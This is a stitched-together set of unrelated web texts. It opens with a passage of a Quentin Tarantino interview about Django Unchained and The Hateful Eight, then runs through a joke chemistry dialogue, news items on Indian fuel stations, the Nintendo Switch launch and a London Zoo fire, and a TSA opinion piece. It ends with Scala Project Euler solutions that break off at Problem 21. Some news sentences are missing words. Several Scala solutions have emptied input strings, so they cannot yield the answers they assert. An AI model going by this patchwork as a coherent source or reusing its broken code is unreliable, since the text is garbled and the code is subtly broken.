want. Because, you know, once you open up your candy store again, you’re open for business. And you have to be responsible. You have to be available. But, you know, that in-between time, I get to really live the fun life of a graduate student. The legend is that you wrote Pulp Fiction in Amsterdam with no phone. Are those the conditions you need to write? No, I don’t need to go anywhere to write. It can be fun. I have a cell phone, and the only person who has the number is my girlfriend. Because I don’t need anyone to call me as I’m walking down the street or driving from hill to dale. You know, my landline is my phone. And so I unplug it, or I don’t listen to it for a while. I’m good. I’ll play some of the messages. I’ll hear them when they come in. Okay, fine. And that doesn’t cause you anxiety? No, no. My problem is the opposite. It causes me no anxiety whatsoever. A lot of people figure that’s my problem: I have no anxiety about shutting the world out at all. How does something like The Hateful Eight emerge from that process? I liked the idea of creating a new pop-culture, folkloric hero character that I created with Django, that I think’s gonna last for a long time. And I think as the generations go on and everything, you know, my hope is it can be a rite of passage for black fathers and their sons. Like, when are they old enough to watch Django Unchained? And when they get old enough—14 or 15 or something like that—then maybe it’s something that they do with their fathers, and it’s a cool thing. And then Django becomes their cowboy hero. And so I like the idea of maybe like a series of paperbacks coming out, Further Adventures of Django, and so I was really kind of into that idea. And then I started writing it as a book, as prose. And that’s what ended up turning into The Hateful Eight. The number one thing I had to do was get rid of Django. [laughs] Django felt like a political turn for you. You know, it was very political, as opposed to, say, Inglourious Basterds, which was not necessarily political. It’s a little bit more wish fulfillment. All right? Django is still a bit of wish fulfillment, but I was trying to show America itself, you know? Django was definitely the beginning of my political side, and I think Hateful Eight is the…logical extension and conclusion of that. I mean, when I say conclusion, I’m not saying I’ll never be political again, but, I mean, I think it’s like, in a weird way, Django was the question and Hateful Eight is the answer. What do you mean by that? Well, I mean, in the way of, like, talking about America’s culpability in their past is what _Django’_s about. The white supremacy that has existed since and that is rearing its ugly head again, to such a degree that it’s being dealt with by the Black Lives Matter movement and all that stuff, is where we are now. And that’s what The Hateful Eight deals with. The thing that was really wild is, I wasn’t trying to bend over backwards in any way, shape, or form to make it socially relevant. But once I finished the script, that’s when all the social relevancy started. You’re referencing the fact that Hateful Eight is in part about the tension between Sam Jackson’s post–Civil War bounty hunter and the various Confederates and Confederate sons he faces off against in Minnie’s Haberdashery. Do you think you’re just reading patterns subconsciously, or is it a coincidence? No, I don’t think it’s a coincidence. I think I was tapped into the Zeitgeist. That is the issue I was dealing with. All right? And now all of a sudden, it’s such a real issue that it’s now not under the surface anymore in American life, and people are having to deal with it. Django came out at an interesting moment, when you also had Spielberg’s Lincoln, and then, a year later, Steve McQueen’s 12 Years a Slave, in theaters, dealing with the same material. There literally was a moment where Lincoln was playing in one theater in the multiplex and Django was playing in another one. Which was actually kind of fucking groovy. I interviewed McQueen around the time his movie came out and asked him about Django, and he said, “I’m just happy to see black actors on-screen who actually get work.” That sounded like a shot to me. Yeah, I’m sure it was. What did you think of his movie? I never saw it. Is that because it was too close to what you were working on? No, I just spent a year and a half in the antebellum South. The last thing in the world I wanted to do was go back. I was so not the audience for that movie, after I literally created the worst possible decade of the last 200 years and lived in it every single solitary day. The last thing in the world I wanted to do was visit it in any way, shape, or form. There’s no shade going toward his movie when it comes to that. I just didn’t want to subject myself. I was in a depression a bit. Even though it was my biggest success, I was in a depression for about nine months after the film came out, because I couldn’t really allow the pain and the misery that I was orchestrating to get into my inner fibers and those little pockets of your lungs, and it all got there when it was done. Django made $425 million—what do you chalk that success up to? People liked the movie. I mean, [laughs] I take a little bit of pride about the fact that Westerns aren’t supposed to work, black-lead movies aren’t supposed to work, and if they’re not supposed to work, slavery movies are really, really, really not supposed to work, and I made almost a half a billion dollars around the world and was actually even more of a success and greeted with more open arms in other countries. But ultimately, I think it was the movie. People just responded to the movie. Do you have high expectations for the new one? No. If anything, I have the opposite. It’s like, I’m hoping that my movie will do well, but it’s not the third in line to Inglourious Basterds and Django. It’s a different beast. And I love the fact that, like, people are so excited about it and they’re talking about it and everything at the end of the year, and it seems a little crazy that, like, my movie Hateful Eight, this claustrophobic snow Western, all right, that owes more to Iceman Cometh than anything else, you know, is being talked about at the end of the year in the same sentences as Star Wars. [laughs] And presumably the Oscar conversation. Well, that is understandable. I think we are a contender. We’ll see. But it is one of those weird things. Wow—have I gotten so popular that I can do weird-ass shit like this, and it actually is a commercial entity? Well, that remains to be seen. But if that’s the case, that would be fucking awesome. How do you feel about going out and campaigning for Oscars? Well, you know, it depends on what you call campaigning. Sitting down with every chucklehead that has a podcast, because, well, why not? Can’t hurt! No, I’m not going to do that. You know, but I’ll go to an event. I’ll go to a party. I’ll go to this screening. I’m happy to do that. The real turnoff for lots of people is when their film doesn’t win. I’ve felt that way a little bit on Inglourious Basterds. You know, it was like…I didn’t shamelessly promote Inglourious Basterds in any way, shape, or form. But I did what was asked of me. I did a genuine campaign, all right? And maybe I did a little too much. And yeah, we won Supporting Actor, but I was a little pissed off by the results. And I probably won’t ever do that much again. Are you competitive as a director? I’m not competitive as a director. But the thing about it is, if I win a third screenwriting Oscar, I will tie with Woody [Allen]. I can’t beat Woody until I tie with him. But you want to beat him? I want to have more original-screenplay Oscars than anybody who’s ever lived! So much, I want to have so many that—four is enough. And do it within ten films, all right, so that when I die, they rename the original-screenplay Oscar “the Quentin.” And everybody’s down with that. Tarantino’s girlfriend emerges from the house: “You are insane. I just heard that. That’s the most ridiculous thing you’ve ever said.” I just find it hard to believe that you’re down to see other people go up there and get Best Director. I’m just telling you what I want. I want that third one. I want to tie Woody. All right? Look: When it’s your time, it’s your time. And actually, you can barely do anything to stop it from being your time. There’s almost nothing Danny Boyle could have done to stop the success of Slumdog Millionaire. There’s almost nothing that the Coen brothers could have done to stop the success of their Sherman’s March through Hollywood for No Country for Old Men. So if I end up getting lucky and having one of those ones, then all things will be taken care of. You’re such a scholar of the medium. You know the history. No offense to Danny Boyle, but aren’t you like, “How the fuck is Danny Boyle winning Oscars when I’ve directed eight films?” It’s whatever. You know, I don’t make Oscar kind of movies. So the fact that I’m invited to the party when I don’t—and I’m not saying he’s pandering, I mean, it was hardly pandering doing Slumdog Millionaire—but, you know, there’s no pandering to mine. I mean, actually, the idea of winning three screenplay Oscars, maybe four, all right, with only ten films, and never doing it for that purpose, only following my own muse—that’s about as great a testament to an artistic career as I can imagine. But I’m also keeping it in perspective, because I actually think, you know, Preston Sturges is maybe a better writer than all the guys who have ever won before, and he didn’t win shit. [Sturges did win once, for 1940’s The Great McGinty*—make of this slip what you will]* EDITOR’S PICK It surprised me that you reacted so angrily to the leak of the Hateful Eight script—you know you’re a good writer. So why sue Gawker over posting a link to it? Well, it was a mistake to sue Gawker, and the mistake was—I was just pissed off at the time, and, like, “They can’t do that! Okay, let me sue them!” And it got kind of exciting for a second, because it looked like, you know, even though there was no precedent for it, it looked like it might be one of those things that could create a precedent. And that became very exciting. Well, it didn’t happen. So I dropped it. But I regret it now, because it actually took the spotlight off where I thought it deserved to be, which was on Hollywood practices of passing out stuff by artists’ representatives. Did you sue Gawker before or after they posted about the girl who went on a date with you? No, that [post] was before. I had no idea. If Gawker was involved—I don’t think Gawker was involved with that. I think they hired her after the fact. So I don’t think they were involved with her. But if they were, I wouldn’t even have known about it. So it wasn’t about— No, no. They’re putting my fucking script—there’s a copyright issue going on here, you know, and if the judge had saw it our way, maybe things would be different now. But they didn’t. Ennio Morricone did the sound track for The Hateful Eight, but he also was in the news in 2013 for saying that you place music in your films “without coherence.” I think he was talking to a class, and he was just saying that he didn’t care for my all-over-the-map approach in the case of Django and some of the other things that I’ve done and whatever. But it wasn’t necessarily a criticism of me, per se. It’s just not his cup of tea. I think it’s kind of a generational thing, and that I completely understand. He apologized. And he said nothing he needed to apologize about. He later clarified it, because it was blown out of proportion. Some asshole nimrod who wants some sort of power thing leaked it to whatever thingy so he can just have the fun of watching it in three hundred outlets. I felt [Morricone] was betrayed by that person. I knew that was where he was coming from! I knew that’s how he felt about my shit! It was nothing new to me. And almost in a generational way, he was left out to dry. He is such a great artist, he can say any fucking thing he wants. Twenty years ago, would you have worked with that guy after he said something like that in public? Well, people made a bigger deal out of it than what, you know…you know, there used to be a time where I could go to Austin and have my QT fest and sit there in front of the audience, in either a question-and-answer session about my own shit, or introducing some movie that I’m a big fan of that I’m talking about, and I could be honest and off the cuff and funny and profound and whatever, and complicated, and it was fine, because it was just for the people in that room. That world doesn’t really exist anymore, and that’s not Ennio’s fault. Do you mourn that? I mourn it terribly. Yeah. But where I’m coming from is they don’t deserve it. If the only way they can experience it is by filming it so they can put it online, then they don’t deserve my candor. They don’t deserve a special moment that we might be having amongst us. They don’t deserve it. And if that’s what they ultimately want, well, then, okay. I’ll clean up my act. [laughs] You’re on film number eight. How could you plan to make only two more after this? Hopefully it’s like I’m getting down to the tip of the arrowhead. I’m getting better and better. And that means I still have two more to go. All right? And two more to go is gonna be six years, at least. But we’ll see what happens. And, you know, if that tenth film is a stinker, well, maybe the plan goes into the house fan. You know, in shreds. But so far so good. And I love the idea of taking my vitality to its furthest point, and then stopping, leaving you wanting a little bit more. Not staying too long at the party. Not working with dulled senses. Not working with dulled intentions. Not working with compromised intentions—i.e., age, vitality, wealth, wife, kids, you know, all those kind of things that get in the way. That seems like a bleak thing to say, that last part. My filmography comes first. My artistic journey comes first. I’m not saying I can’t have kids. But the last two movies, can’t have kids, can’t have a wife, you know. That’s the deal. Now, now it’s not so scary. You know, conceivably, I could have a kid tomorrow, and by the time I’m done with a career, they’re six. And I have the whole rest of their life to dedicate myself one hundred and twenty percent. Well, not the rest of their life. The rest of my life. And if I have a kid two years from now or three years from now, then they’re age three or age four. Now I’m, boom, that guy. And that’s okay. But there is an excitement when you’re hanging on the next film of a director as they’re doing their climb to immortality. I felt that way about De Palma in the ’70s and the ’80s. I felt that way about Scorsese in the ’70s and the ’80s, and I felt that way about Spielberg in the ’70s and ’80s. Who do you think is currently working at your level? I think my real filmmaking peer is probably David O. Russell right now—i.e., his ability to write, the movies he does, and his relationship that he has with the actors that he likes to work with. And I think along with myself, I think he is the best actor’s director out there. And I feel he’s pushing it. I actually think, as terrific as Robert De Niro was in Silver Linings Playbook, I think his cameo in American Hustle is maybe the best work he’s done in the last seven years. It’s a small little thing, and he was a diamond bullet in it! He was perfect. And you would think, Oh, you never need to see De Niro ever play a mob guy again, but you never saw that guy. And that was a fucking cameo! But no one treated it like a cameo. And the fact that, like, they have that trust and that relationship is just such a lovely thing. I think [Russell] and Jennifer Lawrence are the closest thing we have to Bette Davis and William Wyler. I mean, it’s fucking exciting. Can you still access the person that you were at the beginning of your career—the guy who went to jail for parking tickets and who’d never left Los Angeles? Oh, very much so. I mean… [pause] I still touch base with that person all the time, and I still have their thoughts. I still have their perspectives. I mean, you know, the way the police are killing black males out there, unarmed black males, shooting them down, um…you know, it’s a different story for me now. All right? The police protect this house. And I need them to do that. And I want them to do that. If I have a problem here, if I think somebody jumped my fence and is fucking around on my property, I’m gonna call the cops. But I’m rich now. I’m rich and white now. All right? When I was in my twenties, I wasn’t rich. They looked at me, and they saw a criminal. They saw a scumbag. They saw someone to be fucked with. I went through a county-jail system four different times. I saw how the county sheriffs talk to you when you’re down there. I saw what it’s like when you have absolutely no power and you’re on the wrong side of the social strata, and what they think of you, and the judgments they make of you. I see that, and I see that now. So when I watch this stuff, I say, “God, shit, that, you know, that could have been me in 1984. That could have been me in 1986.” Now, I have white skin and they have black skin, and that’s a huge difference. Back in the ’90s, you used to approach the press cycle like an actor would, and you became famous in your own right. Did you later regret that decision? I joke I’m not really that famous, I’m just that recognizable. If you know what I look like, you’re gonna know me when you see me. But no—I wanted me to be enough when I’m making a movie. I didn’t want to have to go and get a star who respected my movies. I wanted to be enough to get it made, and if I get a star, well, that’s all great. Okay, now we’re talking Hitchcock and Cary Grant. Awesome! All right? But, you know, Hitchcock and Farley Granger is okay, too. So many people in your industry have early success and then burn out. How did that not happen to you? I worked too long to be here. I mean, I had such incredible good luck and fortune to make Pulp Fiction and just, in this weird pocket of time, that it could be appreciated for what it was. If I’m gonna fuck that up, I don’t really deserve to have any of this. But I was never afraid of the burnout scenario that you described. I was more afraid of like—I didn’t want to open up a shingle and a shop and now I’m a factory. You know, I do my movie that I do every two or three years, but then I produce a bunch of stuff, and my name’s always out there, Quentin Tarantino Presents this movie, that movie, and I’m rewriting this, because they’re paying me a lot of money, I do a two-week dialogue polish on Transformers 3, this and that and the other, and I keep making money and money and money, and I’m, like, you know, giving my special magic well water away to these people—and now all of a sudden my name doesn’t mean jack fucking shit. Have you seen The Wolfpack, the documentary about the kids who love and reenact your films? Yes, I have. Those kids are fucking awesome, man. I think they’re fantastic. And, like, you know, and literally, watching acting out the scenes, that was so entertaining and lovely and glorious. But watching them writing the script, i.e. just jotting it down, but the way they talk about it, it’s as if they wrote it. “I’m working on the script. I’m writing the script.” And I know exactly what they mean! I got it. Watching the kid writing the dialogue down word for word on a yellow legal pad was fucking fantastic. There’s still a lot of random Tarantino floating around in the culture in 2015—whether it be in film dialogue or nonlinear storytelling or the basic eternal persistence of the Reservoir Dogs suits. Where do you most encounter your work or your influence in the wild? In the ’90s, from like ’97 through ’99 or 2000 or something like that, it would be going in young people’s apartments and seeing the Pulp Fiction poster up, or seeing the head shot from Pulp Fiction, which is Jules and Vincent pointing their guns. Or seeing their cinder-block used-video library—you know, that they bought for $9.99 from the local video store—and they have Godfather 1, they have Godfather 2, they have Scarface. And then they have Reservoir Dogs and they have Pulp Fiction. -A DIALOGUE WITH SARAH, AGED 3: IN WHICH IT IS SHOWN THAT IF YOUR DAD IS A CHEMISTRY PROFESSOR, ASKING “WHY” CAN BE DANGEROUS SARAH: Daddy, were you in the shower? DAD: Yes, I was in the shower. SARAH: Why? DAD: I was dirty. The shower gets me clean. SARAH: Why? DAD: Why does the shower get me clean? SARAH: Yes. DAD: Because the water washes the dirt away when I use soap. SARAH: Why? DAD: Why do I use soap? SARAH: Yes. DAD: Because the soap grabs the dirt and lets the water wash it off. SARAH: Why? DAD: Why does the soap grab the dirt? SARAH: Yes. DAD: Because soap is a surfactant. SARAH: Why? DAD: Why is soap a surfactant? SARAH: Yes. DAD: That is an EXCELLENT question. Soap is a surfactant because it forms water-soluble micelles that trap the otherwise insoluble dirt and oil particles. SARAH: Why? DAD: Why does soap form micelles? SARAH: Yes. DAD: Soap molecules are long chains with a polar, hydrophilic head and a non-polar, hydrophobic tail. Can you say ‘hydrophilic’? SARAH: Aidrofawwic DAD: And can you say ‘hydrophobic’? SARAH: Aidrofawwic DAD: Excellent! The word ‘hydrophobic’ means that it avoids water. SARAH: Why? DAD: Why does it mean that? SARAH: Yes. DAD: It’s Greek! ‘Hydro’ means water and ‘phobic’ means ‘fear of’. ‘Phobos’ is fear. So ‘hydrophobic’ means ‘afraid of water’. SARAH: Like a monster? DAD: You mean, like being afraid of a monster? SARAH: Yes. DAD: A scary monster, sure. If you were afraid of a monster, a Greek person would say you were gorgophobic. (pause) SARAH: (rolls her eyes) I thought we were talking about soap. DAD: We are talking about soap. (longish pause) SARAH: Why? DAD: Why do the molecules have a hydrophilic head and a hydrophobic tail? SARAH: Yes. DAD: Because the C-O bonds in the head are highly polar, and the C-H bonds in the tail are effectively non-polar. SARAH: Why? DAD: Because while carbon and hydrogen have almost the same electronegativity, oxygen is far more electronegative, thereby polarizing the C-O bonds. SARAH: Why? DAD: Why is oxygen more electronegative than carbon and hydrogen? SARAH: Yes. DAD: That’s complicated. There are different answers to that question, depending on whether you’re talking about the Pauling or Mulliken electronegativity scales. The Pauling scale is based on homo- versus heteronuclear bond strength differences, while the Mulliken scale is based on the atomic properties of electron affinity and ionization energy. But it really all comes down to effective nuclear charge. The valence electrons in an oxygen atom have a lower energy than those of a carbon atom, and electrons shared between them are held more tightly to the oxygen, because electrons in an oxygen atom experience a greater nuclear charge and therefore a stronger attraction to the atomic nucleus! Cool, huh? (pause) SARAH: I don’t get it. DAD: That’s OK. Neither do most of my students. * * * (REPRINTED FROM ISSUE ONE, APRIL 11th, 2005) -Beginning May 14, fuel outlets in eight states will be shut every Sunday following Prime Minister Modi's call to conserve oil, a fuel pump owners' body said in Chennai on Tuesday. "We had planned to shut our outlets on Sundays a few years back. But marketing companies (OMCs) had then requested us to reconsider our decision. Now we have decided to shut the outlets on Sundays," said Suresh Kumar, an executive committee member of the consortium of Indian He said the association's decision was made in view of the Prime Minister's call during his recent 'Mann ki baat' programme to to save the environment. Kumar, also the vice-president of Association, said nearly 20,000 outlets in Tamil Nadu, Kerala, Karnataka, Puducherry, Andhra Pradesh, Telangana, and would be shut for 24 hours on Sundays, starting May 14. "In Tamil Nadu, we expect a business loss of Rs 150 crore if we do not operate on a Sunday. But we have been seeing a decline in sales on Sundays by upto 40 per cent," he said. Asked if the association's decision was supported by the OMCs, he said, "We will communicate our decision to them shortly." Kumar said the fuel outlets which normally have about 15 staff each would have one staff member on the holidays to provide fuel if there was an emergency situation. On the issue of hiking the margins to petroleum outlets, he said the association was discussing it and would soon make an announcement in this regard. "That struggle is going on. We are meeting our association members shortly. We will announce our decision soon," he said. -Nintendo Switch Surprise Australian Launch Line-Up – 9 Unannounced Games The Nintendo Switch launch games in Australia aren’t what the locals expected. The Nintendo Switch launched at midnight in Australia, with lucky fans already well and truly deep into games like The Legend of Zelda: Breath of the Wild. It is the big system seller of the launch window, and what we’ve played thus far has been truly incredible - a fantastic gaming experience and a must-own. You can read more about it in the Nintendo Switch Magazine. It is not alone at launch, of course. In all 12 games were set to launch alongside the Switch, the lowest in 21 years. However, when Australians opened up the eShop for the first time, they weren’t greeted with the list of titles they expected. The announced launch-line-up was: 1. The Legend of Zelda: Breath of the Wild 2. Super Bomberman R 3. 1-2 Switch 4. Shovel Knight: Specter of Torment/Treasure Trove 5. Just Dance 2017 6. FAST RMX 7. Snipperclips – Cut It Out Together 8. I am Setsuna 9. World of Goo 10. Little Inferno 11. Human Resources Machine 12. Skylanders: Imaginators The actual line-up is: 1. The Legend of Zelda: Breath of the Wild 2. Super Bomberman R 3. 1-2 Switch 4. The King of Fighters ’89 5. Waku Waku 7 6. Shock Troopers 7. World Heroes Perfect 8. Metal Slug 3 9. Shovel Knight: Specter of Torment/Treasure Trove 10. New Frontier Days: Founding Pioneers 11. Othello 12. Voez 13. Vroom in the Night Sky 14. Just Dance 2017 15. FAST RMX 16. Snipperclips – Cut It Out Together 17. I am Setsuna So we have an additional nine games we didn’t know where coming to Australia, and four games that are missing. It’s typical of the confusion surrounding the launch of this system, but more games is hardly a deal breaker. Especially given the big guns are still there. What is the Nintendo Switch magazine? If you want to learn more about the launch of the Switch, with exclusive reviews of the console, accessories, online service and 24 games, get the Nintendo Switch Magazine. Go direct to Amazon or iTunes if you prefer. New comment Please enable JavaScript to view the comments powered by Disqus. Disqus -If you were just a casual observer of security theater you may think that TSA’s adoption of technology — especially to expedite passenger movement through the airports — is a great thing, a step in the right direction after a decade-plus of building up a wall around Fortress America. But if you go beyond the surface, a different picture emerges: that the TSA is creating a higher Berlin Wall just to help jump over the wall it previously built, instead of trying to whittle the original one down to a more manageable level. Instead of working on making simple things better — such as clear and readable signage, understandable and obvious lanes, better load balancing at multiple checkpoints — what travelers have to deal with are steps upon steps added to climb over the previous set of inefficiencies. At all stages in its lifecycle, the TSA has chosen not to de-escalate or tear down any of the original web of procedures, but instead added additional layer of new procedures to help create side doors to the system, in effect building a parallel machinery. Why does the TSA need to roll out a whole new parallel screening system with PreCheck and the qualification hoops passengers have to jump through to be part of it, when it could just as well lower the screening requirements built into the original system in the first place? Imagine the costs involved in first coming up with PreCheck and then building, administering, marketing and maintaining it, when it could save a lot more by a rational de-escalation of the security requirement post 9-11 decade? And on top of that, PreCheck does not guarantee expedited screening, as its own rules say! The knots TSA has tied itself up in. Why does the TSA need to order $6.8 million worth of liquid scanners for airports, when even the former TSA Administrator Kip Hawley says all that’s needed on liquids is updating software on current baggage scanners? Why spend $900 million and 2,800 workers on a big behavior detection program when it was objectively shown that it was being misused? And don’t make matters worse by spending even more money to hire a consultant to try and find the system’s faults. Instead of bringing in more tech to scan passports for some passengers — and spend millions to get these machines — why not ease up the questioning and requirements of entry into the country and speed up immigration lines and reduce hours and hours spent in lines at airports like JFK? Beyond the knee jerk reactions like Republican lawmakers talking about abolition of TSA altogether, few grasp the nuances of the maze that has been built by TSA as both a solution to its political challenges and a justification for its own existence. There is no end solution, just more means created to foster other means. So even if saner minds would suggest a paring down of TSA’s activities and streamlining, that would likely involve hiring another expensive consulting firm, and it will create additional systems to “simplify” the already existing systems. Even when TSA tries to bring down some of the original restrictions like allowing small knives, the non-sensical public brouhaha that follows doesn’t give TSA any incentive to actually do anything smart about the bloat. It just becomes easier for it to build new moats around it, it seems. Maybe defunding isn’t such a bad idea after all… -Video caption London Zoo 'devastated' by aardvark fire death Staff have been injured and an aardvark and possibly four meerkats killed in a fire at London Zoo. About 70 firefighters tackled the blaze at its height in the Animal Adventure section that spread to a shop. One person was taken to hospital and eight were treated at the scene. The zoo said an aardvark called Misha died in the fire and four meerkats were still unaccounted for, presumed dead. The zoo was shut on Saturday but said it would reopen on Sunday. The cause of the fire is not yet known. Image copyright Brendan Cooney/Reuters Image caption Photographs posted on social media showed orange flames rising from the building Ten fire engines went to the zoo, which sits in the capital's Regent's Park, shortly after 06:00 GMT and the fire was brought under control about three hours later. Six people were given help at the scene for the effects of smoke inhalation and two for minor injuries, London Ambulance Service said. One person was taken to a north-west London hospital, the service said. Image copyright London Fire Brigade Image copyright Charlie Bard Duty staff who live on site were on the scene "immediately" and started moving animals to safety, the zoo said. In a statement the zoo said it was "devastated" about what had happened. It said: "Sadly our vets have confirmed the death of our nine-year-old aardvark, Misha. There are also four meerkats still unaccounted for, but we are now presuming these have also died. "All other animals in the vicinity are being monitored closely by our vets, but early signs suggest they have not been affected. We will continue to monitor them over the coming days. "We are all naturally devastated by this, but are immensely grateful to the fire brigade, who reacted quickly to the situation to bring the fire under control. " You might also be interested in: Adnan Abdul Husein said he saw the blaze from a nearby park when he was out walking his dog, and alerted zoo security. "It didn't look like smoke just coming out of a chimney - it was quite heavy", he said. "As I got closer to the zoo I could see that it was actually inside the zoo so I went over to the security and told them, 'there's flames or there's smoke coming from inside there, do you know anything about it?'. And they obviously didn't have a clue." Image copyright Getty Images London Fire Brigade (LFB) station manager Clive Robinson, who was at the scene, said three-quarters of the cafe and shop had been affected by the fire and half of the roof. He said: "Firefighters worked hard to bring the fire under control as quickly as possible and to stop it from spreading to neighbouring animal enclosures." Image copyright @PaulWood1961 Image copyright London Fire Brigade Image caption The cause of the fire is not yet known, London Fire Brigade said -Project Euler is a collection of interesting computational problems intended to be solved with computer programs. Most of the problems challenge your skills in algorithm design rather than your knowledge of mathematics. Thanks to short concrete problems and number-only solutions you don’t have to thinker with IDEs, GUI designers, programming libraries and frameworks, so Project Euler is an excellent tool for learning a new programming language or improving your core programming skills. Why use Scala Although all general-purpose programming languages are Turing-complete and thus suitable for Project Euler, each language has its own philosophy and set of tools. In spite of programming language “holy wars”, the truth is that different tasks demand different tools. Since Scala is a multi-paradigm programming language, it allows programmers to efficiently express a wide range of common programming patterns. Most Project Euler problems imply advanced transformation of numeric or symbolic data and Scala’s functional programming features are the perfect tool for that purpose (moreover, unlike pure functional languages, being a hybrid language, Scala provides object-oriented capabilities when modeling or simulation is required). So, what does Scala have to offer for Project Euler? Here is the list of most valuable features: scripting, type-inference, first-class functions, tail call optimization, lazy evaluation, excellent collection library, sequence comprehensions. On the top of everything else, Scala brings enjoyment to your coding. According to The Right Tool Scala is ranked high in the following categories: Thus Scala is the right tool for those who want to mingle the useful with the pleasant. Sample solutions This section contains solutions to the first 33 problems. You may use them either to size up how well Scala plays in Project Euler, or to compare your own solutions with the samples. Keep in mind, that the purpose of these solutions is to demonstrate Scala in the first place, so the problems are just a “canvas” to show the elegance and expressiveness of the language. Many times I intentionally preferred a direct and concise solution (if it performs reasonably fast) to a “math-savvy” one. All the code is available as a GitHub repository. See also: Problem 1 Add all the natural numbers below one thousand that are multiples of 3 or 5.* val r = (1 until 1000).view.filter(n => n % 3 == 0 || n % 5 == 0).sum assert(r == 233168) // 7 ms Problem 2 Find the sum of all the even-valued terms in the Fibonacci sequence which do not exceed four million.* lazy val fs: Stream[Int] = 0 #:: fs.scanLeft(1)(_ + _) val r = fs.view.takeWhile(_ <= 4000000).filter(_ % 2 == 0).sum assert(r == 4613732) // 1 ms Problem 3 Find the largest prime factor of a composite number.* def factors(n: Long): List[Long] = (2 to math.sqrt(n).toInt) .find(n % _ == 0).fold(List(n))(i => i.toLong :: factors(n / i)) val r = factors(600851475143L).last assert(r == 6857) // 1 ms Problem 4 Find the largest palindrome made from the product of two 3-digit numbers.* val r = (100 to 999).view .flatMap(i => (i to 999).map(_ * i)) .filter(n => n.toString == n.toString.reverse) .max assert(r == 906609) // 102 ms Problem 5 What is the smallest number divisible by each of the numbers 1 to 20?* val r = Range(20, Int.MaxValue) .find(n => Range(2, 21).forall(n % _ == 0)).get assert(r == 232792560) // 23 s Problem 6 What is the difference between the sum of the squares and the square of the sums?* val numbers = 1 to 100 def square(n: Int) = n * n val r = square(numbers.sum) - numbers.map(square).sum assert(r == 25164150) // 1 ms Problem 7 Find the 10001st prime.* lazy val ps: Stream[Int] = 2 #:: Stream.from(3).filter(i => ps.takeWhile(j => j * j <= i).forall(i % _ > 0)) val r = ps(10000) assert(r == 104743) // 24 ms Problem 8 Discover the largest product of five consecutive digits in the 1000-digit number.* val s = """""" val r = s.filter(_.isDigit).map(_.asDigit) .sliding(5).map(_.product).max assert(r == 40824) // 33 ms Problem 9 Find the only Pythagorean triplet, { a , b , c }, for which a + b + c = 1000.* val limit = (1 to 1000).find(n => n + math.sqrt(n) >= 1000).get val rs = for (b <- 2 until limit; a <- 1 until b; c = 1000 - a - b if a * a + b * b == c * c) yield a * b * c val r = rs.head assert(r == 31875000) // 32 ms Problem 10 Calculate the sum of all the primes below two million.* lazy val ps: Stream[Int] = 2 #:: Stream.from(3).filter(i => ps.takeWhile(j => j * j <= i).forall(i % _ > 0)) val r = ps.view.takeWhile(_ < 2000000).foldLeft(0L)(_ + _) assert(r == 142913828922L) // 1 s Problem 11 What is the greatest product of four numbers on the same straight line in the 20 by 20 grid?* val s = """""" val ns = s.split("\\s+").map(_.toInt) def m(i: Int, p: Int, c: Int): Int = if (c > 0) ns(i) * m(i + p, p, c - 1) else 1 def ms(xs: Seq[Int], ys: Seq[Int], p: Int) = ys.flatMap(y => xs.map(x => m(20 * y + x, p, 4))) val ps = ms(0 to 19, 0 to 15, 20) ++ ms(0 to 15, 0 to 19, 1) ++ ms(0 to 15, 0 to 15, 21) ++ ms(3 to 19, 0 to 15, 19) val r = ps.max assert(r == 70600674) // 4 ms Problem 12 What is the value of the first triangle number to have over five hundred divisors?* lazy val ts: Stream[Int] = 0 #:: ts.zipWithIndex.map(p => p._1 + p._2 + 1) def p(t: Int) = Range(1, Int.MaxValue) .takeWhile(n => n * n <= t) .foldLeft(0)((s, n) => if (t % n == 0) s + 2 else s) val r = ts.find(p(_) > 500).get assert(r == 76576500) // 1 s Problem 13 Find the first ten digits of the sum of one-hundred 50-digit numbers.* val s = """""" val r = s.split("\\s+").map(_.take(11).toLong).sum .toString.take(10).toLong assert(r == 5537376230L) // 2 ms Problem 14 Find the longest sequence using a starting number under one million.* def from(n: Long, c: Int = 0): Int = if (n == 1) c + 1 else from(if (n % 2 == 0) n / 2 else 3 * n + 1, c + 1) val r = (1 until 1000000).view.map(n => (n, from(n))) .reduceLeft((a, b) => if (a._2 > b._2) a else b)._1 assert(r == 837799) // 1 s Problem 15 Starting in the top left corner in a 20 by 20 grid, how many routes are there to the bottom right corner?* def f(row: Seq[Long], c: Int): Long = if (c == 0) row.last else f(row.scan(0L)(_ + _), c - 1) def r(n: Int) = f(Seq.fill(n + 1)(1L), n) assert(r(20) == 137846528820L) // 1 ms Problem 16 What is the sum of the digits of the number 21000?* val r = BigInt(2).pow(1000).toString.view.map(_.asDigit).sum assert(r == 1366) // 1 ms Problem 17 How many letters would be needed to write all the numbers in words from 1 to 1000?* val units = Array(0, 3, 3, 5, 4, 4, 3, 5, 5, 4, 3, 6, 6, 8, 8, 7, 7, 9, 8, 8) val tens = Array(0, 0, 6, 6, 5, 5, 5, 7, 6, 6) lazy val name: Int => Int = { case n if n < 20 => units(n) case n if n < 100 => tens(n / 10) + (if (n % 10 > 0) units(n % 10) else 0) case n if n < 1000 => name(n / 100) + 7 + (if (n % 100 > 0) 3 + name(n % 100) else 0) case 1000 => 11 } val r = (1 to 1000).map(name).sum assert(r == 21124) // 1 ms Problem 18 Find the maximum sum traveling from the top of the triangle to the base.* val s = """""" val grid = s.trim.split(" ").map(_.split("\\s+").map(_.toInt)) def f(rows: Array[Array[Int]], bottom: Seq[Int]): Int = { val ms = bottom.zip(bottom.tail).map(p => p._1 max p._2) val ss = rows.last.zip(ms).map(p => p._1 + p._2) if (ss.length == 1) ss.head else f(rows.init, ss) } val r = f(grid.init, grid.last) assert(r == 1074) // 2 ms Problem 19 How many Sundays fell on the first of the month during the twentieth century?* val lengths = Array(31, 0, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31) val ls = for (y <- 1900 to 2000; m <- 1 to 12) yield if (m == 2) if (y % 4 == 0 && (y % 100 != 0 || y % 400 == 0)) 29 else 28 else lengths(m - 1) val fs = ls.scanLeft(1)((ws, l) => (ws + l) % 7) val r = fs.slice(12, 1212).count(_ == 0) assert(r == 171) // 2 ms Problem 20 Find the sum of digits in 100!* def f(n: BigInt): BigInt = if (n < 2) 1 else n * f(n - 1) val r = f(100).toString.view.map(_.asDigit).sum assert(r == 648) // 1 ms Problem 21 Evaluate the sum of all amicable pairs under 10000.* val ds = (0 until 10000).view .map(n => (1 to (n / 2)).filter(n % _ == 0).sum) val as = ds.zipWithIndex.collect { case (n, i) if n < 10000 && ds(n) != n && ds(n) == i => i } val r = as.sum 